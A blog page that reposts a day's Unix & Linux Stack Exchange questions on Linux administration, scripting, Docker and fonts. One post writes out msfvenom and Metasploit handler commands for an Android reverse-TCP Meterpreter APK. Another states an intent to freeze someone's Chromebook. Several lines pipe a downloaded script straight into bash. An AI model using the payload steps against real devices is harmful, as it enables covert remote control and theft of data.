Friday, March 26, 2021

Recent Questions - Unix & Linux Stack Exchange

Recent Questions - Unix & Linux Stack Exchange


Emmanuel Uribe I want him to have something bad happening

Posted: 26 Mar 2021 10:30 AM PDT

I would like to spectate someone else and freeze his computer he has a chromebook computer

Laptop keyboard doesn't work after suspension/hibernation

Posted: 26 Mar 2021 09:51 AM PDT

On my Ubuntu 20.04 (problem persists since 16.04) Sony VAIO laptop if I close the lid, wait till the yellow led to blink and then turn the laptop on again, awakes everything but keyboard, which turns on it's backlight after first keypress but doesn't react to anything, so does the touchpad. So I get almost fully working system, but completely unusuable. My problem is that I don't even know where to search for problem origin. I don't know how the laptop power and keyboard management works in Ubuntu, not on systemd or SysV level, nor on kernel level. So, no logs for you, my friends, until you ask for any. =) How can I solve this very annoying issue please?

mounting a samba share from another linux machine error "bad network name"

Posted: 26 Mar 2021 10:00 AM PDT

I am using OpenSuse tumbleweed latest versions of everything.

zypper dup

So I disabled all the firewalls, temporarily.

mount  -t cifs -o "cred=/etc/samba/user.txt,vers=3.0,sec=ntlmv2" //192.168.2.3/web  /mnt/x    mount  -t cifs -o "user=user,pass=pass,vers=3.0,sec=ntlmv2" //192.168.2.3/web  /mnt/x  

So I verified that /mnt/x exists and it does

I am doing everything as root so it is not a permission issue.

On a 3rd computer which has windows Start-Run \192.168.2.3\web and after entering the credentials all my files appear.

On the 192.168.2.2 I get an error

BAD_NETWORK_NAME: \\192.168.2.3\web 

This is plainly false as it works in windows

Also it isn't the password, because when I intentionally enter the wrong password it says permission denied.

Echo array on newlines with index numbers

Posted: 26 Mar 2021 10:15 AM PDT

I'm trying to echo all elements of an array on a newline and also with an index number next to it. So that I can take some input and then select an array element to open with a text editor. (they're all config files).

i'm currently doing this:

declare -a configs=(  "~/.vimrc"  ... )    printf "%s\n"  "${configs[@]}"  

which has the output of each config path, but i'm not sure how I'd go about appending the index number to the start of each element.

I "hate" the <(...) sugar syntax, what can replace it?

Posted: 26 Mar 2021 09:28 AM PDT

I run a remote upgrade script via the following pattern:

(  cd "${program_to_update}" &&  wget https://raw.githubusercontent.com/USER/PROJECT/BRANCH/update.sh  source update.sh  rm update.sh  )  

In this session User:Kusalananda suggested to me not use this and to prefer the following pattern instead:

cd "$program_to_update" &&  source <( curl -O - 'https://raw.githubusercontent.com/USER/PROJECT/BRANCH/update.sh' )  

I told him that "I hate" the <(...) command and he told me:

You could probably use curl -O - 'URL' | bash -s, depending on what that update.sh script does (would not work if it's interactive). Or, you could use tmpname=$(mktemp); curl -O "$tmpname" 'URL'; bash "$tmpname"; rm -f "$tmpname".

I think I would prefer the first pattern that I find simpler and that according to my understanding, pipes curl's data in stdout to bash in a shopt mode (via the -s option) which if I'm not wrong:

I don't know what it actually means; I don't think I would want to cancel any option for any Bash builtin in the current shell session.


The upgrade script has only this interactivity:

while true; do      read -p "Do you wish to configure php variables now?" yn      case $yn in          [Yy]* ) nano prcf-main/backend/contact_form.php; break;;          [Nn]* ) break;;          * ) echo "Please answer yes or no.";;      esac  done  

I "hate" the <(...) sugar syntax, what can replace it?

Every X11 (working) app run from shell shows "No protocol specified"

Posted: 26 Mar 2021 09:27 AM PDT

Every X11 (working) app run from shell shows "No protocol specified". It's local environment, everything is working fine, no SSH X11 forwarding. OpenSUSE Tumbleweed, lightdm (DM) and i3 (WM).

$ echo $DISPLAY ; xlsclients  :0  No protocol specified  localhost.localdomain  nm-applet  localhost.localdomain  polkit-gnome-authentication-agent-1  localhost.localdomain  redshift-gtk  localhost.localdomain  emacs  localhost.localdomain  google-chrome  localhost.localdomain  soffice  localhost.localdomain  xterm  localhost.localdomain  xterm  

Unable to mount file with docker-compose volume directive

Posted: 26 Mar 2021 09:04 AM PDT

I have the following configuration in docker-compose.yml:

services:    spark:      image: docker.io/bitnami/spark:3-debian-10      hostname: sparkmaster      environment:        - LANG=en_US.UTF-8        - LANGUAGE=en_US:en        - LC_ALL=en_US.UTF-8        - SPARK_MODE=master        #- SPARK_RPC_AUTHENTICATION_ENABLED=no        #- SPARK_RPC_ENCRYPTION_ENABLED=no        #- SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no        #- SPARK_SSL_ENABLED=no      ports:        - '8087:8080'        - '7077:7077'      networks:        - mynetwork      volumes:        - ./v01/config/spark-defaults.conf:/opt/bitnami/spark/conf/spark-defaults.conf        - ./v01:/v01  

and I have the following regular file

./v01/config/spark-defaults.conf  

When I am trying to run compose it fails with

ERROR: for Cannot start service spark: OCI runtime create failed: container_linux.go:370: starting container process caused: process_linux.go:459: container init caused: rootfs_linux.go:59: mounting "mypath/config/spark-defaults.conf" to rootfs at "/var/lib/docker/overlay2/dfd04014034cf38aa6279456e7e6493184b21925b3992e82fc507ba3c92a82fa/merged/opt/bitnami/spark/conf/spark-defaults.conf" caused: not a directory: unknStarting sparkwithmonitoring_spark-worker-1_1 ... error

as if it wants it to be a diectory. If I run it without volume and log into container interactively, I see it is a regular file.

Also it seems to me, that one time it worked. Could it remember it should be a directory somewhere? Can I purge something like dfd04014034cf38aa6279456e7e6493184b21925b3992e82fc507ba3c92a82fa?

How to make a glib app look for "schema" at a different path?

Posted: 26 Mar 2021 08:34 AM PDT

I've built and installed a Glib-2.0-using application to /opt/myapp. However, when I run it, it looks for "schema" files under /usr/share/glib-2.0/schemas.

How can I tell the app to look for schema files elsewhere?

Notes:

  • A runtime solution would be preferable to a compile-time solution.
  • It's nemo 4.8.6, built using meson.
  • The distribution is Devuan GNU/Linux Beowulf.

Alternative to SSH and SNMP for remotely gathering metrics

Posted: 26 Mar 2021 08:29 AM PDT

Does anyone know of alternative protocols for gathering metrics remotely from Linux servers other than SSH and SNMP? We are looking to support as much of the Linux ecosystem as possible including very old distributions so the protocol needs to be broadly available.

Thanks, Brian

Reordering a name file in linux/ubuntu

Posted: 26 Mar 2021 08:19 AM PDT

I'm trying for a time now to have the titles of some(1 to 3 hundred) musics changed, using bash script or commands like rename or sed, along with regex, but I failed miserably, probably because I'm new to the word of programming and terminal commands. That's what I need help:

aaaaa
The Songs have the same pattern
The String1 will always end with the suffix 'monogatari', I think this is the way to search for this piece of string.
The String2 can be capitalized or not.
The String3 is the actual name of the song, and can have names with spaces in-between.
Obs1. I think the way to select both the String1 and String3 is through String2, what is before String2 is String1 and what is after String2 is String3
Obs2. Remember that the extension need to remain unchanged.

And is this what I want to output:
enter image description here

How to detect changes to disk capacity in linux?

Posted: 26 Mar 2021 07:59 AM PDT

I'm working on a program that needs to monitor changes to the system mounts and the size of disks and partitions. While I found out the changes in mounts can be detected using epoll on /proc/mounts, is there an efficient way to detect size changes in disks?

  • I already tried using epoll on /proc/partitions, but that didn't help.
  • I also noticed that some messages are generated in the kernel ring buffer when I change the disk size (see below). Monitoring the buffer for these messages may also work, but I would like to know if there are any other methods to solve this issue.
[1883313.043332] sd 2:0:0:1: Capacity data has changed  [1883313.045638] sd 2:0:0:1: [sda] 1077936128 512-byte logical blocks: (552 GB/514 GiB)  [1883313.046073] sda: detected capacity change from 550829555712 to 551903297536  

/etc/network/interfaces - difference between auto and allow-hotplug

Posted: 26 Mar 2021 08:10 AM PDT

I am running Debian 9.13. I tried to check what is the difference between auto eth1 and allow-hotplug eth1 in /etc/network/interfaces. I have eth1 networking interface connected via USB. I tried rebooting, running systemctl restart networking and plugging/unplugging and it seems that main difference between allow-hotplug and auto is that if interface is marked as auto, command systemctl restart networking fails when eth1 is not connected. This leads to the conclusion that allow-hotplug is in fact preferable in all cases maybe except situation where I know that interface won't go away (lo, built-in interfaces).

Is it correct? Is there any other difference?

Change Authorization of usb bus

Posted: 26 Mar 2021 07:49 AM PDT

I am trying to modify authorizations of usb devices. First I connect my android phone with MTP and run this command

echo 0 > /sys/bus/usb/devices/3-1:1.0/authorized  echo 1 > /sys/bus/usb/devices/3-1:1.0/authorized  

if I run it as 3-1/authorized Thunar freezes(see loading folder contents), I kill it and open a new instance it still stucks until I remove phone. enter image description here

and I do the same thing on usb stick:

echo 0 > /sys/bus/usb/devices/4-1/authorized  echo 1 > /sys/bus/usb/devices/4-1/authorized  

if I run it as 4-1:1.0/authorized

lsusb -t  

returns

Bus 04.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/4p, 10000M      |__ Port 1: Dev 7, If 0, Class=Mass Storage, Driver=, 5000M  

instead of

Bus 04.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/4p, 10000M      |__ Port 1: Dev 7, If 0, Class=Mass Storage, Driver=usb-storage, 5000M  

Then I have to physically eject/mount usb to get it work. As you can see if I run wrong command, Driver type is empty for both devices.

My question is why usb worked without interface number contrary to mtp device or vice versa?

Proxmox VE Kernel Panic

Posted: 26 Mar 2021 07:48 AM PDT

Rescue me, please I use Proxmox for my home server - Samba, DLNA, Print server, HomeAssistant, PiHole on Dell Wyse 5070. Everything worked fine, but I wanted to use build-in BT on Intel PCI card.

I used this instructions: https://www.reddit.com/r/Proxmox/comments/btnn2m/intel_9560/

But it doesn't worked. Somewhere I read that I need to turn off WiFi in my BIOS then BT should works. I rebooted computer to BIOS, but I had one checkbox for WiFi/BT in Wireless card in BIOS, so I rebooted computer.

And than kernel panic appears enter image description here

I tried make some instructions from some forums by Ubuntu Live CD and terminal in Proxmox Installer, but nothing works.

Help me, because I will lost month of my work :(

Where should a web application store dynamically generated content by default?

Posted: 26 Mar 2021 08:21 AM PDT

Let's say you are developing a web application which generates reports based on user interaction. If you wanted to store those reports (not just temporarily cache them) somewhere in the *nix filesystem, where would be the most canonical default location?

My first instinct is /var/application-name or /var/www/application-name, similar to log files, since /var is for "variable" sized content, per linux.com's description of the filesystem.

However, /srv/application-name also seems appropriate, per the very same article's example of an FTP service.

It also seems appropriate to use /usr/local/ or /usr/share/.

using awk, how can I find the max value in a column, then print a different field of the row that data was found in?

Posted: 26 Mar 2021 09:09 AM PDT

The specific example I have is finding the max value in column 5, then the associated 2nd field with that value. For example:

1  text1  1   1   5  2  text2  2   2   10   3  text3  3   3   15  4  text4  4   4   50  5  text5  5   5   25  

here is my script. it begins with a function for finding max, then attempts to print the 2nd field's data of the same row the max was found in.

function max(val1,val2){          if (val1 > val2)                  return val1          else                  return val2  }    BEGIN {largest = 0}    {largest = max(largest,$5 + 0)}  $5 ~ largest {print $2}    END {}  

this ends up printing out

text1  text2  text3  text4  

because it prints out the 2nd field every time it finds a new max. I am trying to find a way for it to only print out only the last max found so it prints "text4" only. I tried putting "$5 ~ largest {print $2}" in the end block but it gives a syntax error.

Using sed to mass rename files according to contents in those files?

Posted: 26 Mar 2021 07:55 AM PDT

I have a bunch of files which all contain the pattern "SIZE1=%d", is there a way to find that decimal and append it onto the front of the filename for each file?

Further if each of the files contain "SIZE1=%d" and "SIZE2=%d" can I somehow append "SIZE1_SIZE2_" to the front of the filenames? I am trying to get a feel for how much I can do with sed as I have little experience with it.

Edit: For example I have a file test_result.log, somewhere in that file are separate lines "SIZE1=100" and "SIZE2=150". I want to rename the file 100_150_test_result.log

Display git-diff between master and my last commit

Posted: 26 Mar 2021 09:58 AM PDT

I use git on a regular basis for collaboration with other people. When we work together on a shared repository, I'd like to be able to view the changes performed by others which happened between my last commit and the current master branch (or the current HEAD).

Until now I'm using the following workflow:

git fetch         # download everything  git merge         # since I'm a trusting person ;)  git logadog       # my git-alias for `git log --all --decorate --oneline --graph`                    # manually look into how many commits were performed since my last commit  git diff HEAD~3   # if 3 commits were performed since then  

Alternatively, I could also use git diff c0ffee (if my last commit was c0ffee).

Although that works, I'd prefer something simpler, like git diff COMPARE_HEAD_WITH_THE_LAST_COMMIT_FROM_MY_USER, but I'm unsure how that would work.

I'm also using the awesome vim-plugin fugitive by Tim Pope and if it would be possible to do this using the :Gdiffsplit HEAD~THE_STUFF_FROM_ABOVE-syntax that would be amazing.

How to use "qstat" and "grep" to list lines containing a range of numbers?

Posted: 26 Mar 2021 08:10 AM PDT

To monitor the job status in clusters, qstat is used to output lines like this

job-ID  prior   name       user         state submit/start at     queue                          slots ja-task-ID  -----------------------------------------------------------------------------------------------------------------   146767 2.75000 REMD       xxxxxx      Rr    03/26/2021 10:58:17 Arya@node-c11b-027.kathleen.uc   160   146811 2.75000 REMD       xxxxxx      r     03/26/2021 11:37:48 Arya@node-c11b-043.kathleen.uc   160   146862 2.25862 REMD       xxxxxx      Rq    03/26/2021 06:24:39                                  160   146911 2.19397 REMD       xxxxxx      Rq    03/26/2021 11:37:20                                  160   146768 0.00000 REMD       xxxxxx      hqw   03/13/2021 14:47:35                                  160   146769 0.00000 REMD       xxxxxx      hqw   03/13/2021 14:47:35                                  160   146770 0.00000 REMD       xxxxxx      hqw   03/13/2021 14:47:36                                  160  

The first element of each line is the job ID. Is there a way to show the lines for a particular range of jobs, e.g. how to only show the jobs from 146868 to 146927? It seems that grep is needed.

accessing android with metasploit

Posted: 26 Mar 2021 08:24 AM PDT

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=4444 > androidApp.apk  

Output : [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload No encoder specified, outputting raw payload Payload size: 10186 bytes

msfconsole  msf6 > use exploit/multi/handler  msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp  msf6 exploit(multi/handler) > set LHOST 192.168.0.103  msf6 exploit(multi/handler) > exploit  

Output : [-] Handler failed to bind to 192.168.0.103:4444:- - [*] Started reverse TCP handler on 0.0.0.0:4444

Since then, nothing is happening enter image description here

I have installed that androidApp.apk in androidenter image description here

After running by desktop ip,

set LHOST 192.168.0.106  exploit  

[*] Started reverse TCP handler on 192.168.0.106:4444

It's been over than 5 minutes I have run the command exploit. I am keep running it..

enter image description here

I have close it now

enter image description here

How to forbid an (emoji) font only for one software?

Posted: 26 Mar 2021 10:09 AM PDT

Context :

I'm using Luke Smith's version of st (suckless-terminal) with Monoid font for most Unicode symbols, and I noticed it usually crash when it sees some emojis, like U1F970, st tries to load a color emoji font (currently, it's Apple Color Emoji, but for other users the default is with Noto Color Emoji, I tried both and it had the same issue) and crashes :

X Error of failed request:  BadLength (poly request too large or internal Xlib length error)    Major opcode of failed request:  139 (RENDER)    Minor opcode of failed request:  20 (RenderAddGlyphs)    Serial number of failed request:  850    Current serial number in output stream:  883  

If I want to avoid this crashes, I have several "unsatisfying" solutions :

  • Don't use st at all. And don't use any other softwares that has the same issue.
  • I installed ttf-ancient-fonts-symbola. I can use it and have colorless emojis everywhere.
    With this solution, I need to remove colored emojis, because every time I have Noto or Apple with colored emojis, it's taken by default instead of Symbola.
  • Disable the font when I launch st (a . before the file name is enough to hide it), and enable it again after that. Looks like cheat and may cause problems when another software is launched.
  • Store emojis on personal user folder, create another user user_2, launch st with user_2 and become user again.
    Is there a way to do this ? If so, is it the simplest way to avoid crashes ?
  • Use the solution from Luke Smith's St on Github :
    If st crashes when viewing emojis, install libxft-bgra from the AUR.
    will probably not work for me because I'm not using an Arch-based distro
    (I'm currently using Ubuntu 20.04LTS. If someone knows a way to safely use AUR on it, why not, but it seems very unlikely).

What I want to do :

Tell to my computer to allow Apple Color Emoji to every software except those I chose
(currently, it's only st and pango-view (I use the second one only for a few tests), or other softwares using xft),
and tell st to use any "allowed for st" thing it wants for emojis, preferably Symbola.

Or tell to my computer at least to take Symbola by default for the emoji family.
If possible, "by default only for st".

I think there could be a solution with font-config.

Things I tried (non exhaustive) :

With font-config, there are tags like <match><test><string>st</string></test>…</match> to target st only
(I was able to tell it to "Make a font bold, only for st, only for some sizes". It worked on my computer).
And there are other tags like <selectfont><rejectfont><glob>/path/to/emoji/font</glob></rejectfont></selectfont> to disallow globally exactly one (or several, with a glob pattern) font.

I tried to combine them but it looks impossible. Here is a code that does not work :
(the font is removed everywhere, not "only for st").

<match>      <test qual="all" name="prgname" target="pattern" compare="eq"><string>St</string></test>      <selectfont>          <rejectfont>              <glob>/home/user/.local/share/fonts/Apple*</glob>          </rejectfont>      </selectfont>  </match>  

I think a <selectfont> tag isn't supposed to be inside a <match> tag.


This issue is actually known, and not only related to st. I tried almost every solution here but still have crashes.
Example of what I tried, similar to a suggestion someone made about this issue :

<match target="pattern">    <test name="family"><string>emoji</string></test>    <edit name="family" mode="append"><string>Symbola</string></edit>  </match>  <match target="pattern">    <test qual="any" name="family"><string>Apple Color Emoji</string></test>     <edit name="family" mode="assign" binding="same"><string>Symbola</string></edit>  </match>  

but with or without it, the output of fc-match --verbose :family=emoji | grep '^.family:
remains family: "Apple Color Emoji"(s).

It still does not works for me when I write monospace instead of emoji and the default monospace font instead of Apple Color Emoji. Am I doing something wrong here ?


I found a solution to set a default font (in the following example ),

<alias>    <family>monospace</family>    <prefer><family>Cantarell</family></prefer>  </alias>  

I set monospace to a random font called Cantarell and it worked.
It also worked for other fonts, including But if I write emoji instead of monospace, here, it works !
So, there is a way to change default font. That's a good start, but it does not target a software, and emoji doesn't seems to be treated the same way sans-serif or serif or monospace are.
If I enable both Noto Color Emoji and Apple Color Emoji, the default for emojis is Noto Color Emoji and this solution didn't let me set Apple Color Emoji to default again.

I also noticed this config works with sans-serif (instead of monospace), but not with sans, even if :family=sans and :family=sans-serif has similar results every time I tried it on fc-match. Same remark for mono instead of monospace. Maybe, it means the wordssans, mono, and emoji have something in common.

But what is this "something in common" ?
Is there a way to make emoji works like monospace does?

Adding Headers On A Specific Pattern in a File

Posted: 26 Mar 2021 09:03 AM PDT

I have a file in which I need to add a header on multiple locations in linux. The 'header' is a file and I can add it only at first row; and that's fine but I want to add it now the same header on multiple locations; specifically before a new IP address is found. I actaully dont need a file with the header; I can just simply add the text via awk or sed after having all the output.

The header needs to be inserted exactly after a new IP address is found.

The list is variable; for example at ip 192.168.10.10 there are here 3 entries but it could be lot more; and for ip 192.168.10.33 for example there are 2 entries but could be lot more. The ports by default are already sorted; but the IP Addresses are not sorted but its already group.

Output looks like:

192.168.10.10    1/1/2  192.168.10.10    1/1/3  192.168.10.10    1/1/4  192.168.10.33    1/1/2  192.168.10.33    1/1/6  192.168.10.20    1/1/6  192.168.10.20    1/1/7  192.168.10.20    1/1/10  192.168.10.20    1/1/18  

I want the output looks like this:

SWITCH ID        PORT      192.168.10.10    1/1/2  192.168.10.10    1/1/3  192.168.10.10    1/1/4    SWITCH ID        PORT                192.168.10.33    1/1/2  192.168.10.33    1/1/6    SWITCH ID        PORT  192.168.10.20    1/1/6  192.168.10.20    1/1/7  192.168.10.20    1/1/10  192.168.10.20    1/1/18  

Push etckeeper created repository to remote Gitlab server, advices welcomed

Posted: 26 Mar 2021 07:51 AM PDT

I'm playing with etckeeper and it seems to be a good product. I use it only to track /etc filesystem locally, but these days the idea came to my mind - to create central Gitlab repository and to store all the node /etc repositories there.

The question is how can I do that?

I noticed in the config of etckeeper, there is a variable called: PUSH_REMOTE="", but do I have to create separate repository for every server or I can use one and combine all the servers in it? Maybe I can use branches? Or different folders?

Any advice's are welcomed. I will try to do it in manual way, and if it works I will think how to do it in automated way, via Puppet or Ansible..

Thanks in advance.

VBoxManage: won't start virtuals machines NS_ERROR_FAILURE (0x80004005)

Posted: 26 Mar 2021 09:39 AM PDT

After a reboot, suddenly Virtualbox will no longer start any virtual machines. The message I get for all the machines is:

Waiting for VM "win7" to power on...  VBoxManage: error: The virtual machine 'win7' has terminated unexpectedly during startup with exit code 1 (0x1)  VBoxManage: error: Details: code NS_ERROR_FAILURE (0x80004005), component MachineWrap, interface IMachine  

The example is for Windows 7 machine, but the same is for Windows 10, Salix, Debian etc.

A brave attempt to upgrade to the current Virtualbox (6.1.18) did not help.

So, I uninstalled Virtualbox, rebooted, re-installed, ran sudo /sbin/vboxconfig and, ... same error.

The kernel module loads correctly, according to dmesg:

[ 1121.308187] vboxdrv: Found 6 processor cores  [ 1121.324431] vboxdrv: TSC mode is Invariant, tentative frequency 3000149185 Hz  [ 1121.324434] vboxdrv: Successfully loaded version 6.1.18 (interface 0x00300000)  [ 1121.534688] VBoxNetFlt: Successfully started.  [ 1121.536415] VBoxNetAdp: Successfully started.  

modinfo vboxdrv shows that the module is the right version of Virtualbox and the correct version of the kernel.

The GUI starts normally, but I cannot start virtual machines from it; it provides the same error.

I also tried to create a new machine, to see if there was something wrong with the virtual boxes, but that did not work either.

My system is Salix, so not packages for VirtualBox exist. I've also tried the microlinux packages, but no avail.

I tried most of the solutions I could find on the Internet and Oracle's VirtualBox forum, but no avail. Does anyone here have additional hints, tips or solutions?

Unable to locate package postgresql-server-dev?

Posted: 26 Mar 2021 10:21 AM PDT

I am trying to install the following packcage postgresql-server-dev-9.5. Using

sudo apt-get install postgresql-server-dev-9.5

Now, after I run this command I get this error:

Unable to locate package postgresql-server-dev-9.5.

Couldn't find any package by glob 'postgresql-server-dev-9.5'.

Couldn't find any package by regex 'postgresql-server-dev-9.5'

How can I fix this? I use ubuntu 18.04.1

Moving directory without modifying timestamp

Posted: 26 Mar 2021 09:51 AM PDT

I would like to move a directory from one location to another but when I do I can see that the timestamp gets changed. Is there any way to retain the timestamp as original?

Have looked at the man page of mv but couldn't find any existing options.

Docker: Sending log files as non-root user to /dev/stdout

Posted: 26 Mar 2021 09:00 AM PDT

I'm trying to start a docker container, which has 2 services. One of those services needs to be run as a non-root User, otherwise he won't start. The other must run as root.

Now I want to link the non_root_service.log file to either /dev/tty or /dev/stdout, so that the logs could be catched by docker (check with docker logs $CONTAINER):

ln -s /dev/stdout non_root_service.log  

The Problem is by doing so, that the non-root User has no rights to write to either /dev/tty or /dev/stdout resulting in the following error on startup of the non-root-service:

cannot open "non_root_service.log": Permission denied  

But if I don't create the link, I could not catch the logs with docker logs $CONTAINER. Does anyone has an idea how that could be fixed, so that I could run the user as non-root AND link the log files to /dev/{tty,stdout}?

P.S.: Does not matter if I use as shell script CMD ["starter.sh"] or supervisor CMD ["supervisord", "-n", "-c", "/app/supervisord.conf"] to start the 2 services, I get with both the same error.

Command for launch a new terminal, or a new tab if exists

Posted: 26 Mar 2021 08:09 AM PDT

I have a keyboard shortcut that is mapped to running the command gnome-terminal (I'm on Fedora 27).

I wish that this key, would open a new terminal if no terminal is open, but open a new tab on the existing terminal window if a terminal window is already open.

What would be the command to do that?

permission denied, cannot list files within a folder

Posted: 26 Mar 2021 10:07 AM PDT

I have a folder like:

drwx--xrwx  9 user group 4096 May  1 11:17 160429_ST-E00110_0195_AHMFVNCCXX  

However my user other can't do ls:

-bash-4.1$ ls 160429_ST-E00110_0195_AHMFVNCCXX  ls: cannot open directory 160429_ST-E00110_0195_AHMFVNCCXX: Permission denied  

other is neither member of the group nor owner of the files

I thought that the last 3 bits describes the permission for any other user

Any idea what is wrong?

Per process firewall?

Posted: 26 Mar 2021 08:02 AM PDT

I've been reading around but can't seem to find a way to create per-process firewall rules. I know about iptables --uid-owner but that only works for outgoing traffic. I've considered scripting netstat and iptables but this seems terribly inefficient since if a process is only active for a small time-frame the script might miss it. Basically I want to enforce specific restrictions regarding port and dst on a process while leaving other processes unaffected. Any ideas?


For reference selinux can do exactly this and it works fairly well. Setup is a bit of a pain though.

No comments:

Post a Comment